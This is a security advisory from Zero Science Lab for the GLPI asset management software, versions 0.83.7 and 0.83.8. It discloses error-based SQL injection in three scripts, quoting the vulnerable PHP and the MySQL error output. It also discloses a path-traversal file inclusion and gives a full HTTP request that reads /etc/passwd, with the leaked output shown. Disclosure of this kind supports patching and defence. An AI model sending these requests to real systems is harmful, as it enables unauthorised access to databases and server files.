351 lines
No EOL
11 KiB
Text
351 lines
No EOL
11 KiB
Text
|
||
GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities
|
||
|
||
|
||
Vendor: INDEPNET Development Team
|
||
Product web page: http://www.glpi-project.org
|
||
Affected version: 0.83.7 and 0.83.8
|
||
|
||
Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
|
||
(Free Management of Computer Equipment), was designed by Indepnet
|
||
Association (a non profit organisation) in 2003. GLPI is a free
|
||
asset and IT management software package, it also offers functionalities
|
||
like servicedesk ITIL or license tracking and software auditing.
|
||
|
||
Desc: Input passed via the POST parameter 'users_id_assign' in
|
||
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
|
||
in '/front/document.form.php' script, and POST parameter 'table' in
|
||
'glpi/ajax/comments.php' script is not properly sanitised before
|
||
being used in SQL queries. This can be exploited by a malicious
|
||
attacker to manipulate SQL queries by injecting arbitrary SQL code
|
||
in the affected application.
|
||
|
||
|
||
======================================================================
|
||
/inc/db.function.php:
|
||
---------------------
|
||
|
||
274: function countElementsInTable($table, $condition="") {
|
||
275: global $DB;
|
||
276:
|
||
277: if (is_array($table)) {
|
||
278: $table = implode('`,`',$table);
|
||
279: }
|
||
280:
|
||
281: $query = "SELECT COUNT(*) AS cpt
|
||
282: FROM `$table`";
|
||
283:
|
||
284: if (!empty($condition)) {
|
||
285: $query .= " WHERE $condition ";
|
||
286: }
|
||
287:
|
||
288: $result =$DB->query($query);
|
||
289: $ligne = $DB->fetch_array($result);
|
||
290: return $ligne['cpt'];
|
||
291: }
|
||
|
||
----------------------------------------------------------------------
|
||
|
||
*** MySQL query error :
|
||
***
|
||
SQL: SELECT COUNT(*) AS cpt
|
||
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
|
||
AND `glpi_tickets_users`.`users_id` = \'2\'\'
|
||
AND `glpi_tickets_users`.`type` = \'2\'
|
||
AND `glpi_tickets`.`is_deleted` = 0
|
||
AND `glpi_tickets`.`status`
|
||
NOT IN (\'solved\', \'closed\')
|
||
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
|
||
AND `glpi_tickets`.`is_deleted` = 0
|
||
' at line 3
|
||
Backtrace :
|
||
/var/www/html/glpi/inc/db.function.php :288 DBmysql->query()
|
||
/var/www/html/glpi/inc/commonitilobject.class.php :362 countElementsInTable()
|
||
/var/www/html/glpi/ajax/ticketassigninformation.php :66 CommonITILObject->countActiveObjectsForTech()
|
||
/var/www/html/glpi/ajax/ticketassigninformation.php
|
||
|
||
|
||
======================================================================
|
||
/inc/document.class.php:
|
||
------------------------
|
||
|
||
1221: static function isValidDoc($filename) {
|
||
1222: global $DB;
|
||
1223:
|
||
1224: $splitter = explode(".",$filename);
|
||
1225: $ext = end($splitter);
|
||
1226:
|
||
1227: $query="SELECT *
|
||
1228: FROM `glpi_documenttypes`
|
||
1229: WHERE `ext` LIKE '$ext'
|
||
1230: AND `is_uploadable`='1'";
|
||
1231:
|
||
1232: if ($result = $DB->query($query)) {
|
||
1233: if ($DB->numrows($result)>0) {
|
||
1234: return Toolbox::strtoupper($ext);
|
||
1235: }
|
||
1236: }
|
||
1237: return "";
|
||
1238: }
|
||
|
||
----------------------------------------------------------------------
|
||
|
||
*** MySQL query error :
|
||
***
|
||
SQL: SELECT *
|
||
FROM `glpi_documenttypes`
|
||
WHERE `ext` LIKE \'1\'\'
|
||
AND `is_uploadable`=\'1\'
|
||
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
|
||
Backtrace :
|
||
/var/www/html/glpi/inc/document.class.php :1232 DBmysql->query()
|
||
/var/www/html/glpi/inc/document.class.php :1088 Document::isValidDoc()
|
||
/var/www/html/glpi/inc/document.class.php :275 Document::uploadDocument()
|
||
/var/www/html/glpi/inc/commondbtm.class.php :878 Document->prepareInputForUpdate()
|
||
/var/www/html/glpi/front/document.form.php :99 CommonDBTM->update()
|
||
/var/www/html/glpi/front/document.form.php
|
||
|
||
|
||
======================================================================
|
||
/inc/dbmysql.class.php:
|
||
-----------------------
|
||
|
||
364: function list_tables($table="glpi_%") {
|
||
365: return $this->query("SHOW TABLES LIKE '".$table."'");
|
||
366: }
|
||
|
||
----------------------------------------------------------------------
|
||
|
||
*** MySQL query error :
|
||
***
|
||
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
|
||
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
|
||
Backtrace :
|
||
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365 DBmysql->query()
|
||
/var/www/html/glpi/inc/db.function.php :1182 DBmysql->list_tables()
|
||
/var/www/html/glpi/ajax/comments.php :47 TableExists()
|
||
/var/www/html/glpi/ajax/comments.php
|
||
|
||
======================================================================
|
||
|
||
|
||
Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
|
||
Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3
|
||
|
||
|
||
|
||
Vulnerabilities discovered by Humberto Cabrera
|
||
@dniz0r
|
||
Zero Science Lab - http://www.zeroscience.mk
|
||
|
||
|
||
Advisory ID: ZSL-2013-5145
|
||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php
|
||
|
||
|
||
09.05.2013
|
||
|
||
----------------
|
||
{1}
|
||
|
||
|
||
POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
|
||
Host: localhost
|
||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
Referer: http://localhost/glpi/front/ticket.form.php
|
||
Content-Length: 17
|
||
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
|
||
Connection: keep-alive
|
||
Pragma: no-cache
|
||
Cache-Control: no-cache
|
||
|
||
users_id_assign=2{SQL_Injection}
|
||
|
||
|
||
----------------
|
||
{2}
|
||
|
||
|
||
POST /glpi/front/document.form.php HTTP/1.1
|
||
Host: localhost
|
||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
Referer: http://localhost/glpi/front/document.form.php?id=4
|
||
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
|
||
Connection: keep-alive
|
||
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
|
||
Content-Length: 1699
|
||
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="entities_id"
|
||
|
||
0
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="is_recursive"
|
||
|
||
0
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="name"
|
||
|
||
test
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="comment"
|
||
|
||
test
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="current_filepath"
|
||
|
||
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="current_filename"
|
||
|
||
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
|
||
Content-Type: application/octet-stream
|
||
|
||
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="upload_file"
|
||
|
||
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="link"
|
||
|
||
test
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="documentcategories_id"
|
||
|
||
0
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="mime"
|
||
|
||
application/octet-stream
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="update"
|
||
|
||
Update
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="_read_date_mod"
|
||
|
||
2013-06-14 20:27:56
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="id"
|
||
|
||
4
|
||
-----------------------------19302542618340
|
||
Content-Disposition: form-data; name="_glpi_csrf_token"
|
||
|
||
f27853afa3e705b5042c0ae4d135679c
|
||
-----------------------------19302542618340--
|
||
|
||
|
||
----------------
|
||
{3}
|
||
|
||
|
||
POST /glpi/ajax/comments.php HTTP/1.1
|
||
Host: localhost
|
||
Proxy-Connection: keep-alive
|
||
Content-Length: 59
|
||
Origin: http://localhost
|
||
X-Requested-With: XMLHttpRequest
|
||
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
Accept: */*
|
||
Referer: http://localhost/glpi/front/planning.php
|
||
Accept-Encoding: gzip,deflate,sdch
|
||
Accept-Language: en-US,en;q=0.8
|
||
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2
|
||
|
||
value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907
|
||
|
||
|
||
----------------
|
||
|
||
#################################################################################################################
|
||
|
||
|
||
GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit
|
||
|
||
|
||
Vendor: INDEPNET Development Team
|
||
Product web page: http://www.glpi-project.org
|
||
Affected version: 0.83.7
|
||
|
||
Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
|
||
(Free Management of Computer Equipment), was designed by Indepnet
|
||
Association (a non profit organisation) in 2003. GLPI is a free
|
||
asset and IT management software package, it also offers functionalities
|
||
like servicedesk ITIL or license tracking and software auditing.
|
||
|
||
Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
|
||
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
|
||
properly verified before being used to include files. This can be exploited
|
||
to include files from local resources with directory traversal attacks
|
||
and URL encoded NULL bytes.
|
||
|
||
========================================================================
|
||
/ajax/common.tabs.php:
|
||
----------------------
|
||
|
||
46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
|
||
47: exit();
|
||
62: $item = new $_REQUEST['itemtype'])();
|
||
|
||
========================================================================
|
||
|
||
|
||
Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
|
||
Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3
|
||
|
||
|
||
|
||
Vulnerabilities discovered by Humberto Cabrera
|
||
@dniz0r
|
||
Zero Science Lab - http://www.zeroscience.mk
|
||
|
||
|
||
Advisory ID: ZSL-2013-5145
|
||
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php
|
||
|
||
|
||
09.05.2013
|
||
|
||
---
|
||
|
||
|
||
POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
|
||
Host: localhost
|
||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
Referer: http://localhost/glpi/front/user.form.php?id=2
|
||
Content-Length: 75
|
||
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
|
||
Connection: keep-alive
|
||
Pragma: no-cache
|
||
Cache-Control: no-cache
|
||
|
||
target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2
|
||
|
||
---
|
||
|
||
root:x:0:0:root:/root:/bin/bash
|
||
bin:x:1:1:bin:/bin:/sbin/nologin
|
||
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||
adm:x:3:4:adm:/var/adm:/sbin/nologin
|
||
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
||
sync:x:5:0:sync:/sbin:/bin/sync
|
||
..
|
||
.. |